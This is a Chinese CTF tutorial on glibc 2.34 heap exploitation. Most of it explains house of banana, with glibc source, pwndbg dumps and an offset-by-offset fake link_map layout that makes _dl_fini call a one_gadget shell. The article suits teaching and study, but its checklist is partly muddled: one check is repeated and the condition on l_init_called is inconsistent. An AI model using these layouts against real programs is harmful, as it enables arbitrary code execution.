前言
本文旨在讲述在glibc 2.34ubuntu 高版本下(2.34-0ubuntu3.2)的一些利用手法是否依旧可以使用。会对某些手法进行概括,并没有对其进行深入透彻的讲述。感兴趣的朋友可以自行学习,最后详细介绍了house of banana。
我只是站在了前任师傅的高台上,为大家进行一些总结分析。
前不久打算深入的去了解在2.34以及2.35这两个较高版本的glibc的堆漏洞的利用。
2.34(2.35) 如何利用
一些对比
2.34与2.35其实非常接近,一般情况下,我们利用的手法也都是一致的,除了继承了2.29以来 的各种保护机制,2.34开始最大的特点,就是删除了__free_hook
__malloc_hook
__realloc_hook
__memalign_hook
__after_morecore_hook
这几个常用的钩子函数,而我们最常用的malloc_hook 以及free_hook被完全的禁止了(虽然我们依旧可以在程序中找到对应的符号,但是相关的函数不在对其进行调用),我们只能另寻出路。其实在2.29以后的版本中,很多手法都已经失效了,我们常用的无外乎就是劫持程序执行流,以及输入输出流。在2.23的版本中,我们是可以修改vtable,但是2.24后就禁止修改,以及再到后面的一些版本还会检查我们的vtable是否在允许的范围中(所有的vtable储存在一个数组中,以__start_libc_IO_vtables 开始,__stop_libc_IO_vtables结束)。
_IO_vtable_check (void)
{
#ifdef SHARED
/* Honor the compatibility flag. */
void (*flag) (void) = atomic_load_relaxed (&IO_accept_foreign_vtables);
#ifdef PTR_DEMANGLE
PTR_DEMANGLE (flag);
#endif
if (flag == &_IO_vtable_check)
return;
/* In case this libc copy is in a non-default namespace, we always
need to accept foreign vtables because there is always a
possibility that FILE * objects are passed across the linking
boundary. */
{
Dl_info di;
struct link_map *l;
if (!rtld_active ()
|| (_dl_addr (_IO_vtable_check, &di, &l, NULL) != 0
&& l->l_ns != LM_ID_BASE))
return;
}
但是,在2.34的早期版本又是可以写的(glibc-2.34-0ubuntu1_amd64)
这个时候我们可以尝试攻击vtable结构体,达到getshell的目的。
但是在后面的几次更新中,又将修复了这个漏洞,在(Ubuntu GLIBC 2.34-0ubuntu3.2) 2.34版本中,就不可以修改(目前已知在2.340ubuntu3版本以及之前的版本依旧有可写的权限)
我们可以找到很多关于如何绕过vtable check的办法进行劫持IO流,其中最主流的还是利用 _IO_str_jumps 和 _IO_wstr_jumps两个虚表,二者利用几乎一样。我们在源码 /libio/strops.c 可以看到相关的vatable的内容,以下我以_IO_str_jumps 作主要说明。
const struct _IO_jump_t _IO_str_jumps libio_vtable =
{
JUMP_INIT_DUMMY,
JUMP_INIT(finish, _IO_str_finish),
JUMP_INIT(overflow, _IO_str_overflow),
JUMP_INIT(underflow, _IO_str_underflow),
JUMP_INIT(uflow, _IO_default_uflow),
JUMP_INIT(pbackfail, _IO_str_pbackfail),
JUMP_INIT(xsputn, _IO_default_xsputn),
JUMP_INIT(xsgetn, _IO_default_xsgetn),
JUMP_INIT(seekoff, _IO_str_seekoff),
JUMP_INIT(seekpos, _IO_default_seekpos),
JUMP_INIT(setbuf, _IO_default_setbuf),
JUMP_INIT(sync, _IO_default_sync),
JUMP_INIT(doallocate, _IO_default_doallocate),
JUMP_INIT(read, _IO_default_read),
JUMP_INIT(write, _IO_default_write),
JUMP_INIT(seek, _IO_default_seek),
JUMP_INIT(close, _IO_default_close),
JUMP_INIT(stat, _IO_default_stat),
JUMP_INIT(showmanyc, _IO_default_showmanyc),
JUMP_INIT(imbue, _IO_default_imbue)
};
这里面有两个很有用的函数
JUMP_INIT(finish, _IO_str_finish), JUMP_INIT(overflow, _IO_str_overflow),
相关源码如下
_IO_str_finish
//Glibc 2.34
void
_IO_str_finish (FILE *fp, int dummy)
{
if (fp->_IO_buf_base && !(fp->_flags & _IO_USER_BUF))
free (fp->_IO_buf_base);
fp->_IO_buf_base = NULL;
_IO_default_finish (fp, 0);
}
这里我们值得注意的是_IO_str_finish,在之前版本中,函数中其实是存在任意函数执行的漏洞的
//Glibc 2.31
void
_IO_str_finish (_IO_FILE *fp, int dummy)
{
if (fp->_IO_buf_base && !(fp->_flags & _IO_USER_BUF))
(((_IO_strfile *) fp)->_s._free_buffer) (fp->_IO_buf_base); //我们控制 _free_buffer 为目标函数,就达到了任意执行
fp->_IO_buf_base = NULL;
_IO_default_finish (fp, 0);
}
但是在新版本的函数中,将这部分删除了,所以我们无法通过这里getshell.
_IO_str_overflow
2.34对比之前的版本,这里并没有太大的变化,但是因为没有了free_hook事情变得不容乐观
int
_IO_str_overflow (FILE *fp, int c)
{
int flush_only = c == EOF;
size_t pos;
if (fp->_flags & _IO_NO_WRITES)
return flush_only ? 0 : EOF;
if ((fp->_flags & _IO_TIED_PUT_GET) && !(fp->_flags & _IO_CURRENTLY_PUTTING))
{
fp->_flags |= _IO_CURRENTLY_PUTTING;
fp->_IO_write_ptr = fp->_IO_read_ptr;
fp->_IO_read_ptr = fp->_IO_read_end;
}
pos = fp->_IO_write_ptr - fp->_IO_write_base;
if (pos >= (size_t) (_IO_blen (fp) + flush_only))
{
if (fp->_flags & _IO_USER_BUF) /* not allowed to enlarge */
return EOF;
else
{
char *new_buf;
char *old_buf = fp->_IO_buf_base;
size_t old_blen = _IO_blen (fp);
size_t new_size = 2 * old_blen + 100;
if (new_size < old_blen)
return EOF;
new_buf = malloc (new_size);
if (new_buf == NULL)
{
/* __ferror(fp) = 1; */
return EOF;
}
if (old_buf)
{
memcpy (new_buf, old_buf, old_blen);
free (old_buf);
/* Make sure _IO_setb won't try to delete _IO_buf_base. */
fp->_IO_buf_base = NULL;
}
memset (new_buf + old_blen, ' ', new_size - old_blen);
_IO_setb (fp, new_buf, new_buf + new_size, 1);
fp->_IO_read_base = new_buf + (fp->_IO_read_base - old_buf);
fp->_IO_read_ptr = new_buf + (fp->_IO_read_ptr - old_buf);
fp->_IO_read_end = new_buf + (fp->_IO_read_end - old_buf);
fp->_IO_write_ptr = new_buf + (fp->_IO_write_ptr - old_buf);
fp->_IO_write_base = new_buf;
fp->_IO_write_end = fp->_IO_buf_end;
}
}
if (!flush_only)
*fp->_IO_write_ptr++ = (unsigned char) c;
if (fp->_IO_write_ptr > fp->_IO_read_end)
fp->_IO_read_end = fp->_IO_write_ptr;
return c;
}
2.34前的版本中,我们在利用FSOP劫持_IO_list_all 的值来伪造链表和其中的IO_FILE 项。
当程序执行exit函数,或者从main函数返回时,会执行调用_IO_flush_all_lockp,这个函数会刷新_IO_list_all 链表中所有项的文件流,相当于对每个 FILE 调用 fflush,也对应着会调用_IO_FILE_plus.vtable 中的_IO_overflow。因而当设置stdout对应的_IO_FILE 对应的 vtable 为 _IO_str_jumps 执行exit就会执行,_IO_str_overflow,
利用思路是根据这里面连续的malloc,memcpy,free,通过控制、伪造IO_FILE,我们要伪造一个fake_chunk,使得函数调用malloc时可以得到fake_chunk,然后再fake_chunk写入我们的数据(来自_IO_buf_base),一般我们把free_hook作为fake_chunk进行攻击,(这也是攻击陈工的前提),将free_hook覆盖为system,执行system(“/bin/sh”).这里我们布置的时fake_chunk的用户区域为free_hook-0x10,这样,_IO_buf_base的前8字节为”/bin/shx00“,接下来的8字节时system的地址,这样free(fake_chunk) ===>system(fakechunk),完成了free_hook的覆盖以及getshell。
house of kiwi
当程序没有显示调用exit,也不会通过主函数返回,那么以往我们使用的FSOP就无法进行了,如果此时两个hook也没法利用,我们需要一种能够稳定触发IO中函数的路径,这就是house of kiwi,它利用了__malloc_assert.
static void
__malloc_assert (const char *assertion, const char *file, unsigned int line,
const char *function)
{
(void) __fxprintf (NULL, "%s%s%s:%u: %s%sAssertion `%s' failed.n",
__progname, __progname[0] ? ": " : "",
file, line,
function ? function : "", function ? ": " : "",
assertion);
fflush (stderr);
abort ();
}
从源码中可以看到这个断言中调用了fflush(stderr),这个函数会稳定的调用_IO_file_jumps中的sync 在house of kiwi 中,如果我们能实现一个任意地址写,那么就可以修改sync指针,并且在调用的时候还发现,rdx也很稳定的是IO_helper_jumps,此时如果我们通过任意地址写将sync指针改成IO_helper_jumps,且将IO_helper_jumps+0xa0和IO_helper_jumps+0xa8改写,就可以实现栈迁移orw。在更新的版本中,相关的虚表已经不可以写了。
小结:
但是这些2.34更新的版本中(比如glibcubuntu3.2)下都失效了,因为没有了free_hook,也就没有了上述的一系列手法,而且以上依赖fflush()函数,通常我们需要利用exit函数来执行该调用。到此我们宣告上述利用手法,失效。但是比赛目前还没有变态到这种程度,常见的还是2.34的早期版本上述手法部分依旧可以实现。
解决方案
难道pwn到此就结束了吗?我们回头梳理下,以上攻击方式失败的原因,无外乎就是没有了hook函数以及vtable不可写。但是我们回到最开始学习pwn,其实最简单的还是rop,在高版本中我们是否可以结合stack与heap的攻击?或者我们是否还有其他的办法劫持程序的控制流?
house of banana
house of banana 是ha1vk师傅在2020年总结出来的利用链。不同于IO_str_finish和IO_str_overflow利用,banana攻击的是_rtld_global结构体中的link_map链表。
攻击的位置houm是在程序结束后调用exit,或者程序由libc_start_main启动,并且主函数可以正常结束返回。(这里提到了exit,不得不提一下以往的攻击exit_hook,配合onegadget获得shell,目前为止,到glibc2.34ubuntu3依旧可以利用,但是在3.2版本下该地址没有了可写权限,所以失效了)
//2.34 0ubuntu3.2
RAX 0x1
RBX 0x7ffff7fad9f8 (__elf_set___libc_atexit_element__IO_cleanup__) —▸ 0x7ffff7e26b10 (_IO_cleanup) ◂— endbr64
RCX 0x0
RDX 0x1
RDI 0x555555558148 ◂— 0x0
```
0x7ffff7ddd58f <__run_exit_handlers+431> nop
► 0x7ffff7ddd590 <__run_exit_handlers+432> call qword ptr [rbx] <_IO_cleanup>
rdi: 0x555555558148 ◂— 0x0
rsi: 0x0
rdx: 0x1
rcx: 0x0
```
pwndbg> vmmap 0x7ffff7fad9f8
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x7ffff7fad000 0x7ffff7fb1000 r--p 4000 214000 /usr/lib/x86_64-linux-gnu/libc.so.6 +0x9f8
pwndbg> x 0x7ffff7fad9f8
0x7ffff7fad9f8 <__elf_set___libc_atexit_element__IO_cleanup__>: 0xf7e26b10
house of banana 相较于以往的攻击手法,其实思路很明确。在程序通过显式调用exit,或者main函数是由__libc_start_main唤起,并可以正常的返回时,由于动态链接的加载机制,程序中并没有exit函数的真实调用,而是要通过符号表来获得真实的函数地址。(有关动态链接延迟绑定的技术,还请自行查阅,这里不做过多的阐述。)我们联想到ret2_dl_resolve技术。
下面是exit执行的一个过程
exit -> _dl_fini ->((fini_t) array[i]) ();
banana手法,通过伪造修改相关的表项,以达到调用后门来获得权限。这里我们重点说一下,在ubuntu3.2下利用的可行性。大多数师傅对于banana的攻击方式主要有两种,一是攻击_rtld_global这个全局符号所保存的link_map的链表。伪造整个链表,进行劫持。相关的全局变量是可以写的。后面会解释这个变量的用处。
另外一个与之相比破坏性比较小,更容易成功。由于link_map通过链表链接,但是在加载exit的时候,相关函数智慧通过link_map->l_next指针进行相关的检查。我们可以在某个特定的位置,更改next指针,将下一以链表节点转为我们控制的地方,比如heap上。
很多朋友看了上面的可能会比较蒙,下面我具体说一参数。
关于link_map,我们攻击exit时,会使用到一个link_map 的链表,链表的一些信息保存在struct rtld_global结构体中,这个结构体信息很多,很繁杂,但是banana只用到了几个关键的点。
pwndbg> p &_rtld_global
$1 = (struct rtld_global *) 0x7f56e43b9040 <_rtld_global>
//以下是结构体信息的展开,pwndbg为我们做了整理
pwndbg> p _rtld_global
$2 = {
_dl_ns = {{
_ns_loaded = 0x7f56e43ba220, //#1
_ns_nloaded = 4, //#2
_ns_main_searchlist = 0x7f56e43ba4e0,
_ns_global_scope_alloc = 0,
_ns_global_scope_pending_adds = 0,
libc_map = 0x7f56e4382000,
_ns_unique_sym_table = {
lock = {
mutex = {
__data = {
__lock = 0,
__count = 0,
__owner = 0,
__nusers = 0,
__kind = 1,
__spins = 0,
__elision = 0,
__list = {
__prev = 0x0,
__next = 0x0
}
},
__size = ' 00' <repeats 16 times>, " 01", ' 00' <repeats 22 times>,
__align = 0
}
....
//展开数据会很多,但是只是对链表个节点信息的汇总
我们需要关注的是,
#1,_ns_loaded = 0x7f56e43ba220, 这是整个链表的头节点,
#2, _ns_nloaded = 4, 这里知名个这个链表的节点个数,在exit后面加载的检查中,会要求_ns_nloaded链表的节点不少于3个
(后面我会给出相关的源码)
然后对于每个节点,都是link_map结构体,我们利用第一个节点做一下简单说明(省略了部分无关的数据)
pwndbg> p *(struct link_map *)0x7f56e43ba220
$3 = {
l_addr = 94172888551424,
l_name = 0x7f56e43ba7c8 "",
l_ld = 0x55a655922000,
l_next = 0x7f56e43ba7d0, //#3
l_prev = 0x0,
l_real = 0x7f56e43ba220, //#3
l_ns = 0,
l_libname = 0x7f56e43ba7b0,
l_info = {0x0, 0x55a655922010, 0x55a6559220f0, 0x55a6559220e0, 0x0, 0x55a655922090, 0x55a6559220a0, 0x55a655922120, 0x55a655922130, 0x55a655922140, 0x55a6559220b0, 0x55a6559220c0, 0x55a655922020, 0x55a655922030, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x55a655922100, 0x55a6559220d0, 0x0, 0x55a655922110, 0x55a655922160, 0x55a655922040, 0x55a655922060, 0x55a655922050, 0x55a655922070, 0x55a655922000, 0x55a655922150, 0x0, 0x0, 0x0, 0x0, 0x55a655922180, 0x55a655922170, 0x0, 0x0, 0x55a655922160, 0x0, 0x55a6559221a0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x55a655922190, 0x0 <repeats 25 times>, 0x55a655922080}, //#4
l_phdr = 0x55a65591d040,
......
l_direct_opencount = 1,
l_type = lt_executable,
l_relocated = 1,
l_init_called = 1, //#5
l_global = 1,
......
}
我们需要关注的:
#3,l_next = 0x7f56e43ba7d0, ,指向下一个link_map 的指针,我们就是通过修改这个,将下一个节点劫持为我们伪造的link_map
#4 , l_real = 0x7f56e43ba220 ,,指向的的自身的地址,这里也是后面需要检查的地方。
#5, l_init_called = 1,简单说,就是为了绕过检查。
下面是_dl_fini函数的源码(我已经删除了部分注释及代码,源码路径为glibc2.34/elf/dl-fini.c)
void
_dl_fini (void)
{
...
struct link_map *maps[nloaded];
unsigned int i;
struct link_map *l;
assert (nloaded != 0 || GL(dl_ns)[ns]._ns_loaded == NULL);
for (l = GL(dl_ns)[ns]._ns_loaded, i = 0; l != NULL; l = l->l_next)
/* Do not handle ld.so in secondary namespaces. */
if (l == l->l_real) //检查节点的地址是否跟自己结构体保存的一致
{
assert (i < nloaded);
maps[i] = l;
l->l_idx = i;
++i;
/* Bump l_direct_opencount of all objects so that they
are not dlclose()ed from underneath us. */
++l->l_direct_opencount;
}
assert (ns != LM_ID_BASE || i == nloaded);
assert (ns == LM_ID_BASE || i == nloaded || i == nloaded - 1);
unsigned int nmaps = i;
_dl_sort_maps (maps + (ns == LM_ID_BASE), nmaps - (ns == LM_ID_BASE),
NULL, true);
__rtld_lock_unlock_recursive (GL(dl_load_lock));
for (i = 0; i < nmaps; ++i)
{
struct link_map *l = maps[i]; //l遍历link_map的链表
if (l->l_init_called) //重要的检查点
{
l->l_init_called = 0;
/* Is there a destructor function? */
if (l->l_info[DT_FINI_ARRAY] != NULL
|| (ELF_INITFINI && l->l_info[DT_FINI] != NULL))
{
/* When debugging print a message first. */
if (__builtin_expect (GLRO(dl_debug_mask)
& DL_DEBUG_IMPCALLS, 0))
_dl_debug_printf ("ncalling fini: %s [%lu]nn",
DSO_FILENAME (l->l_name),
ns);
/* First see whether an array is given. */
if (l->l_info[DT_FINI_ARRAY] != NULL)
{
ElfW(Addr) *array =
(ElfW(Addr) *) (l->l_addr
+ l->l_info[DT_FINI_ARRAY]->d_un.d_ptr);
unsigned int i = (l->l_info[DT_FINI_ARRAYSZ]->d_un.d_val
/ sizeof (ElfW(Addr)));
while (i-- > 0)
((fini_t) array[i]) (); //目标位置
}
....
}
总结下我们需要绕过那些检查
-
判断
_ns_loaded
链表中至少有三个节点(dl-fini开始部分通过循环遍历链表,做检查,) -
检查
l == l->l_real
3. 检查l == l->l_real
检查l->l_init_called > 8
这个其实跟数据的处理有关
unsigned int l_relocated:1; /* Nonzero if object's relocations done. */
unsigned int l_init_called:1; /* Nonzero if DT_INIT function called. */
unsigned int l_global:1; /* Nonzero if object in _dl_global_scope. */
unsigned int l_reserved:2; /* Reserved for internal use. */
unsigned int l_phdr_allocated:1; /* Nonzero if the data structure pointed
to by `l_phdr' is allocated. */
unsigned int l_soname_added:1; /* Nonzero if the SONAME is for sure in
在lunk_map结构体中,这个变量是4字节,与结构体开始位置的偏移量为0x31c。pwndbg帮我们解释了数据的结果,这里的数据要大于8,我们不妨之际设置为9.不同节点可以有所差异,下面是一个结果为1 的数据
以及一个不为1 的数据
pwndbg> p *(struct link_map *)0x7f56e43ba7d0
$5 = {
l_addr = 140725148598272,
l_name = 0x7ffd207e4371 "linux-vdso.so.1",
l_ld = 0x7ffd207e43e0,
l_next = 0x7f56e4382000,
l_prev = 0x7f56e43ba220,
l_real = 0x7f56e43ba7d0,
...
l_relocated = 1,
l_init_called = 0,
l_global = 0,
...
pwndbg> x/wx 0x7f56e43ba7d0+0x31c
0x7f56e43baaec: 0x00000005
pwndbg>
4. 检查l->l_info[DT_FINI_ARRAY] != NULL
,unsigned int i = (l->l_info[DT_FINI_ARRAYSZ]->d_un.d_valDT_FINI_ARRAY宏定义为26,DT_FINI_ARRAYSZ宏定义为28,所以l_info[26],以及l_info[28]不能是null(28是因为i会影响到函数 ((fini_t) array[i]) ();调用)
下面我们具体说说如何伪造,我选择利用修改第三节点的l_next指针,指向一个chunk,并在chunk上部署我们伪造的link_map.这里依赖任意地址写,可通过largebin attack实现,或者其他漏洞造成的可以任意地址写堆地址。第三节点的指针在哪?_rtld_global符号并不在libc文件,而是在ld.so文件中,我们要泄露出程序的ld基址,pwndbg为我们提供了一个函数求偏移量
pwndbg> distance &_rtld_global &(_rtld_global._dl_ns._ns_loaded->l_next->l_next->l_next)
0x7f56e43b9040->0x7f56e4382018 is -0x37028 bytes (-0x6e05 words)
由此我们就知道了需要向哪里写入chunk.
接下来就是重点,我们如何伪造link_map.
因为原来的链表中只有4个节点,而我们伪造的link_map有恰是第四个,所以,l_next就是0,l_prve无所谓,直接写0即可。l_real就是我们的伪造的link_map的开始地址,也是我们修改后的第三节点的l_next的值。这几个值离link_map的首地址很近,可以很直接的看出偏移量。接下来就是l_info的伪造。l_info[26]不为0,这是结构体内的数组,distance可以得到info[26] info[28]关于节点地址的偏移量,同样我们可以得到上面提到的l_init_called的偏移量
pwndbg> distance _rtld_global._dl_ns._ns_loaded &_rtld_global._dl_ns._ns_loaded->l_info[26]
0x7f56e43ba220->0x7f56e43ba330 is 0x110 bytes (0x22 words)
pwndbg> distance _rtld_global._dl_ns._ns_loaded &_rtld_global._dl_ns._ns_loaded->l_info[28]
0x7f56e43ba220->0x7f56e43ba340 is 0x120 bytes (0x24 words)
pwndbg> distance _rtld_global._dl_ns._ns_loaded &_rtld_global._dl_ns._ns_loaded->l_init_called
0x7f56e43ba220->0x7f56e43ba53c is 0x31c bytes (0x63 words)
重点来了,info这连个位置我们写入什么数据
l_info = {0x0, 0x41, 0x0, 0x55a656f072f8, 0x8, 0x7f56e4244cec <__execvpe+652>, 0xa, 0x0, 0x0, 0x41, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x41, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x41, 0x0, 0x0, 0x55a656f072e0, 0x0, 0x55a656f072e8, 0xa, 0x0, 0x41, 0x9, 0xa, 0x0, 0x0, 0x0, 0x0, 0x0, 0x41, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x41, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x41, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x41, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x41, 0x0, 0x0, 0x0},
//
if (l->l_info[DT_FINI_ARRAY] != NULL)
{
ElfW(Addr) *array =
(ElfW(Addr) *) (l->l_addr+ l->l_info[DT_FINI_ARRAY]->d_un.d_ptr);
unsigned int i = (l->l_info[DT_FINI_ARRAYSZ]->d_un.d_val/ sizeof (ElfW(Addr)));
while (i-- > 0)
((fini_t) array[i]) (); //目标位置
这是一个比较通用的info,0x7f56e4244cec <__execvpe+652>是我们想要执行的函数。
我们再看源码的相关部分,正常情况下,exit使用的就是第四个节点的l_info的数据,也就是使用我们伪造的info。
sizeof (ElfW(Addr)) = 8,为了方便解释,我们将这里 l->l_info[DT_FINI_ARRAYSZ]的数据记为ptr,ptr->d_un.d_ptr,其实就是ptr+0x8所指向的数据。ptr是我们要伪造的数据,他是堆中的一个可控制的位置。我们想要执行一次就可以获得shell,我们不妨让i =1,然后我们需要在ptr+8的位置写入的就是1*8=8
我们还要确定的是arry数组。(l->l_addr+ l->l_info[DT_FINI_ARRAY]->d_un.d_ptr);
l->addr其实就是我们伪造的link_map开始的位置,个人喜欢将这里写为0,然后将l_info[26]写入另外一个地址,两者加起来就是数组的初始位置。我们记录这个地址为ptr_a,这个就会给arry赋值,然后 arry[i] ====>> 就是调用ptr_a +8*i 位置的函数。也就是我们的后门。
提供一个构造的布局,
在fake+0x110
写入一个ptr_a,且ptr_a+0x8处有ptr,ptr处写入的是最后要执行的函数地址.
在fake+0x120
写入一个ptr,且ptr+0x8处是i*8
。
我选择的是fake+0x110
写入fake+0x40
,在fake+0x48
写入fake+0x58
,在fake+0x58
写入shell
我选择在fake+0x120
写入fake+0x48
,在fake+0x50
处写入8.
pwndbg> tel 0x55a656f072a0(fake) 40
00:0000│ 0x55a656f072a0 ◂— 0x0 //l_addr
... ↓ 4 skipped
05:0028│ 0x55a656f072c8 —▸ 0x55a656f072a0 ◂— 0x0 //l_real
06:0030│ 0x55a656f072d0 ◂— 0x0
07:0038│ 0x55a656f072d8 ◂— 0x41
08:0040│ 0x55a656f072e0 ◂— 0x0
09:0048│ 0x55a656f072e8 —▸ 0x55a656f072f8 —▸ 0x7f56e4244cec (execvpe+652) ◂— mov rdx, r12
0a:0050│ 0x55a656f072f0 ◂— 0x8
0b:0058│ 0x55a656f072f8 —▸ 0x7f56e4244cec (execvpe+652) ◂— mov rdx, r12
0c:0060│ 0x55a656f07300 ◂— 0xa /
0d:0068│ 0x55a656f07308 ◂— 0x0
0e:0070│ 0x55a656f07310 ◂— 0x0
0f:0078│ 0x55a656f07318 ◂— 0x41
10:0080│ 0x55a656f07320 ◂— 0x0
... ↓ 6 skipped
17:00b8│ 0x55a656f07358 ◂— 0x41
18:00c0│ 0x55a656f07360 ◂— 0x0
... ↓ 6 skipped
1f:00f8│ 0x55a656f07398 ◂— 0x41
20:0100│ 0x55a656f073a0 ◂— 0x0
21:0108│ 0x55a656f073a8 ◂— 0x0
22:0110│ 0x55a656f073b0 —▸ 0x55a656f072e0 //l_info[26]
23:0118│ 0x55a656f073b8 ◂— 0x0
24:0120│ 0x55a656f073c0 —▸ 0x55a656f072e8 //l_info[28]
25:0128│ 0x55a656f073c8 ◂— 0xa
26:0130│ 0x55a656f073d0 ◂— 0x0
27:0138│ 0x55a656f073d8 ◂— 0x41
最后我们就是利用onegadget获得shell了。
利用gdb万能必挂点,结合one_gadget工具帮助我们快速找到合适的one_gadget
一些注意点:
因为_rtld_global 这个符号是存在与ld.so文件中,往往出题人不会给出ld.so文件,rtld_global_ptr与libc_base的偏移在本地与远程并不是固定的,可能会在地址的第2字节处发生变化,因此可以爆破256种可能得到远程环境的精确偏移。
总结
本文主要就是介绍我们常用的手法,在高版本的利用情况,主要关注的是在较新版本 Glibc-2.34 0ubuntu3.2的可行性。因为2.34主要问题还是在于一些hook函数被禁止,以及对_IO_str_finish、_IO_str_overflow变化的影响,导致我们可以利用的点是在是很少了。但是这其实对于各位ctfer来讲,因为方法很少,导致攻击手法比较的单一,只有那么几个可以使用。在3.2版本之前,我们依旧可以通过修改vtable劫持控制流,或者攻击’exit_hook'(这个叫法可能会不太严谨,因为并不是一个hook的符号,而是其他的符号)。house of kiwi,攻击exit_hook依旧是可以实现,且比较方便的。
后面我这里主要介绍了house of banana,这项技术,依旧是用于3.2,并且向下兼容。简要概括,就是修改第三个节点的l_next为堆地址fake,并在该堆上伪造第四个节点。
伪造link_map
-
*(fake+0x28)=fake。 -
*(fake +0x48)=fake+0x58, *(fake+0x50) = 0x8 -
*(fake+0x58) = shell -
*(fake+0x110) = fake+0x40 -
*(fake+0x120) = fake+0x48 -
(int)*(fake+0x31c) = 0x9
最后笔者在这里提出一个未完成的验证,house of emma 在3.2版本下的利用。
因为个人实力依旧比较菜,文章出可能会出现错误及不足,欢迎斧正。也希望能和对此文感兴趣的师傅进一步交流关于新版本的利用姿势。
[参考]:
想到验证各种姿势,感谢ru7n师傅
3.2下攻击exit_hook的思考,感谢Ayaka师傅
house of banana 的最初构想 感谢ha1vk 师傅
原文始发于微信公众号(i春秋):高版本glibc堆的几种利用手法